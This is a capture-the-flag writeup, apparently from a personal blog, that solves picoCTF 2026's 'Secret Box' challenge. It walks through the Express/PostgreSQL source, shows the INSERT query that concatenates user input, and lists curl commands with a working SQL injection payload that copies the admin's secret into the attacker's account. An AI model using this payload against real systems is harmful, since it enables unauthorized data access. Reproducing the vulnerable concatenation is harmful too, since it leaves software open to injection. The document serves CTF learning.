> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# picoCTF 2026 Secret Box Writeup: SQL Injection in an INSERT to Steal the Admin's Secret
- URL: https://taiwanding.com/en/picoctf-2026-secret-box-insert-sql-injection/
- Published: 2026-09-19T06:36:21.000Z
- Updated: 2026-09-19T06:36:21.000Z
- Description: A white-box walkthrough of picoCTF 2026's Secret Box: the /secrets/create route concatenates content straight into an INSERT, so we append a second VALUES row and copy the admin's secret to ourselves.
- Author: Kevin Chen
- Tags: #en, #en-ctf

This is a Web challenge from picoCTF 2026: `Secret Box`.

Challenge description:

> This secret box is designed to conceal your secrets.  
>  
> It's perfectly secure—only you can see what's inside.  
>  
> Or can you? Try uncovering the admin's secret.

This challenge gives you the source code from the start, so it isn't a pure black-box guessing game.

What the challenge says is:

```text
Everyone can only see their own secret
but we need to find a way to see the admin's secret

```

For this kind of challenge, you usually want to look at two things first:

- how the secret is stored
- how the site decides whose secret this is

## Challenge info

- Challenge: Secret Box
- Category: Web Exploitation
- Difficulty: Medium
- Platform: picoCTF 2026

This writeup follows the actual solving process; the point is to understand:

```text
Express + EJS
PostgreSQL
auth_token
owner_id
SQL injection

```

In the end we don't log into the admin page directly; instead we use SQL injection to copy the admin's secret into our own secret box.

## Step 1: Download the source code

First create a folder:

```bash
cd /mnt/d/Download
mkdir -p secretbox
cd secretbox

```

Set the URLs:

```bash
BASE='http://candy-mountain.picoctf.net:58604'
SRC='https://challenge-files.picoctf.net/c_candy_mountain/4185bd4297d58d842f759dc8857f6a03206fd0f2421e3aff2e9c43326fe61516/source.tar.gz'

```

Download and extract:

```bash
curl -sS -L "$SRC" -o source.tar.gz
mkdir -p src
tar -xzf source.tar.gz -C src

rg --files src

```

You'll see:

```text
src/source/docker-compose.yml
src/source/app/Dockerfile
src/source/db/Dockerfile
src/source/db/initdb.sql
src/source/app/src/handler.js
src/source/app/src/db.js
src/source/app/src/server.js
src/source/app/src/views/login.ejs
src/source/app/src/views/index.ejs
src/source/app/src/views/create_secret.ejs
src/source/app/src/views/my_secrets.ejs
src/source/app/src/views/signup.ejs

```

There aren't many files; the main flow should be in:

```text
server.js: routes
handler.js: login state / token
initdb.sql: database schema
db.js: admin password / flag initialization
views/*.ejs: how the page is displayed

```

## Step 2: What is EJS

Seeing `.ejs` for the first time might feel unfamiliar. EJS is a template engine commonly used with Node.js / Express, and its full name is:

```text
Embedded JavaScript templates

```

You can think of it as Flask's Jinja.

| Flask                                  | Express / Node                   |
| -------------------------------------- | -------------------------------- |
| render\_template("index.html", data=x) | res.render("index", { data: x }) |
| Jinja template                         | EJS template                     |
| {{ value }}                            | <%= value %>                     |

The home page in this challenge renders like this:

```js
return res.render('my_secrets', {secrets: query.rows});

```

EJS displays the secret like this:

```ejs
<%= sec.content %>

```

`<%= %>` performs HTML escaping, so for now this challenge doesn't look like EJS SSTI, and it isn't an XSS challenge either.

EJS is only responsible for displaying the data; what really matters is the backend SQL.

## Step 3: Look at the database structure

First look at `initdb.sql`:

```bash
nl -ba src/source/db/initdb.sql | sed -n '1,80p'

```

The key part is these three tables:

```sql
CREATE TABLE users (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    username text NOT NULL,
    password text NOT NULL,
    created_at timestamptz NOT NULL DEFAULT now()
);

CREATE TABLE tokens (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id text NOT NULL REFERENCES users(id),
    created_at timestamptz NOT NULL DEFAULT now(),
    expired_at timestamptz NOT NULL DEFAULT now() + interval '1 days'
);

CREATE TABLE secrets (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    owner_id text NOT NULL REFERENCES users(id),
    content text NOT NULL,
    created_at timestamptz NOT NULL DEFAULT now()
);

```

Here you can first understand the data relationships:

```text
users.id
  -> tokens.user_id
  -> secrets.owner_id

```

In other words:

```text
a token maps to a user
a secret also maps to a user

```

The admin's UUID is also in the init file:

```sql
INSERT INTO users(id, username, password)
VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password');

INSERT INTO secrets(owner_id, content)
VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{fake_flag}');

```

Although the local source has a fake flag, `db.js` updates it to the real flag when the production environment starts up:

```js
await db('users')
  .where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
  .update({ password: process.env.USERPASSWORD });

await db('secrets')
  .where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
  .update({ content: process.env.FLAG });

```

So we can confirm:

```text
the admin's secret is the flag
the admin's owner_id is a fixed UUID

```

## Step 4: How login state is determined

`handler.js` is responsible for reading the cookie:

```js
const cookies = getCookies(req.headers.cookie);
const token = cookies.auth_token;

```

If there's a token, it queries the database:

```js
const query = await db.raw(
    `SELECT * FROM tokens WHERE id = ? AND expired_at > NOW()`,
    [token]
);

```

If found, it puts the user ID into the request:

```js
req.userId = query.rows[0].user_id;

```

So login state in this challenge works like this:

```text
the cookie contains auth_token
-> found in the tokens table
-> req.userId = tokens.user_id

```

The home page `/` uses `req.userId` to query your own secrets:

```js
const query = await db.raw(
    `SELECT * FROM secrets WHERE owner_id = ?`,
    [userId]
);

return res.render('my_secrets', {secrets: query.rows});

```

This is a parameterized query, so there's no direct IDOR here.

Because the home page only queries:

```sql
SELECT * FROM secrets WHERE owner_id = my own userId

```

So if we want to see the admin secret, we can't just change the URL; we have to find a way to make the admin secret become "our own secret".

## Step 5: Finding the real SQL injection

Look at the route in `server.js` that creates a secret:

```bash
nl -ba src/source/app/src/server.js | sed -n '120,140p'

```

The key part is this:

```js
app.post('/secrets/create', authMiddleware, async (req, res) => {
    const userId = req.userId;
    if (!userId){
        res.clearCookie('auth_token');
        return res.redirect('/');
    }

    const content = req.body.content;
    const query = await db.raw(
        `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
    );

    return res.redirect('/');
});

```

The problem is on this line:

```js
`INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`

```

`userId` and `content` are concatenated directly into the SQL. `userId` comes from the token and is normally hard to control, but `content` is what we type in when creating a secret, so it's under our control.

What the backend intends to do is:

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('my userId', 'my secret')

```

If `content` can close the string early, we can turn the SQL into:

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('my userId', 'x'),
       ('my userId', 'another secret')--')

```

This isn't sending two SQL statements; more accurately, it's:

**appending a second VALUES row inside the same INSERT.**

## Step 6: Register a normal user and log in

First register a normal account:

```bash
BASE='http://candy-mountain.picoctf.net:58604'
C=secretbox_cookies.txt
USER="u$(date +%s)"
PASS="Passw0rd!"

curl -sS -i -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" \
  -o 01_signup.http

curl -sS -i -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" \
  -o 02_login.http

TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")"

echo "USER=$USER"
echo "TOKEN=$TOKEN"
sed -n '1,100p' 02_login.http

```

After a successful login you'll see:

```http
HTTP/1.1 302 Found
Set-Cookie: auth_token=...
Location: /

```

The `auth_token` here matters, because we know the token but not our own `user_id`.

But the database knows it:

```sql
SELECT user_id FROM tokens WHERE id='our token'

```

So later we can use this subquery to let the database find the current user ID for us.

## Step 7: Use a marker to prove the SQL injection works

Don't rush to grab the flag yet; first use a marker to confirm we can really insert a second secret row.

A marker is just a tag we deliberately insert, for example:

```text
MARK1788101140

```

Payload:

```bash
MARK="MARK$(date +%s)"
PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), '$MARK')--"

printf '%s\n' "$PAYLOAD"

```

Send it:

```bash
curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \
  --data-urlencode "content=$PAYLOAD" \
  -o 03_marker.http

sed -n '1,120p' 03_marker.http

curl -sS -b "$C" "$BASE/" -o 04_home_marker.html
grep -Eo "$MARK|Server Internal Error|error|Error" 04_home_marker.html 03_marker.http

```

Result:

```text
04_home_marker.html:MARK1788101140

```

This means the marker already shows up in our own Secret Box.

In other words, this payload successfully made the database insert an extra secret row:

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('my userId', 'x'),
       ((SELECT user_id FROM tokens WHERE id='my token'), 'MARK1788101140')--')

```

The subquery inside it:

```sql
SELECT user_id FROM tokens WHERE id='my token'

```

returns our own user ID, so the second secret row is effectively:

```sql
('my userId', 'MARK1788101140')

```

Only after the marker test succeeds do we move on to the next step.

## Step 8: Copy the admin secret into your own box

The source code already told us the admin's UUID:

```text
e2a66f7d-2ce6-4861-b4aa-be8e069601cb

```

The admin secret is stored in:

```sql
secrets.content

```

So to query the admin secret, we can use:

```sql
SELECT content
FROM secrets
WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb'
LIMIT 1

```

Take this part of the marker payload:

```sql
'MARK'

```

and replace it with this query:

```sql
(SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1)

```

The full command:

```bash
TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")"

PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), (SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1))--"

printf '%s\n' "$PAYLOAD"

curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \
  --data-urlencode "content=$PAYLOAD" \
  -o 05_dump_admin_secret.http

sed -n '1,120p' 05_dump_admin_secret.http

curl -sS -b "$C" "$BASE/" -o 06_home_flag.html
grep -Eo 'picoCTF\{[^}]+\}' 06_home_flag.html

```

Result:

```text
picoCTF{Redacted}

```

The idea here is:

```text
Row 1: insert an ordinary x
Row 2: owner_id is myself, content is the admin secret

```

So when the home page finally queries our own secrets:

```sql
SELECT * FROM secrets WHERE owner_id = my userId

```

it displays the admin secret we just copied over.

## How the SQL comes together

The part of this challenge that trips people up most is this payload:

```sql
x'), ((SELECT user_id FROM tokens WHERE id='TOKEN'), 'MARK')--

```

A toy example makes it easier to understand.

Suppose the tables look like this:

```text
users
U1 admin
U2 kevin

tokens
T2 -> U2

secrets
U1 -> picoCTF{secret}

```

Adding a secret normally:

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'hello')

```

If content is:

```sql
x'), ('U2', 'MARK')--

```

After the backend concatenates it, it becomes:

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'x'), ('U2', 'MARK')--')

```

This inserts two rows:

```text
U2 -> x
U2 -> MARK

```

But we don't necessarily know that our own user ID is `U2`, so we change it to let the database look it up from the token:

```sql
SELECT user_id FROM tokens WHERE id='T2'

```

The payload becomes:

```sql
x'), ((SELECT user_id FROM tokens WHERE id='T2'), 'MARK')--

```

Finally, replace `MARK` with the admin secret:

```sql
x'), (
  (SELECT user_id FROM tokens WHERE id='T2'),
  (SELECT content FROM secrets WHERE owner_id='U1' LIMIT 1)
)--

```

which is equivalent to:

```sql
INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'x'),
       ('U2', 'picoCTF{secret}')--')

```

So this challenge isn't about directly bypassing "you can only see your own secret"; it's about copying the admin secret into your own secret.

## Key takeaways

`Secret Box` is a really well-chosen name for this challenge.

On the surface, everyone's box only queries their own `owner_id`, so the permissions look correct.

But the place where secrets are created has a SQL injection.

So we can quietly ask the database to do one thing:

```text
add a new secret for me
the owner is me
the content is the admin's secret

```

That's the core idea of this challenge.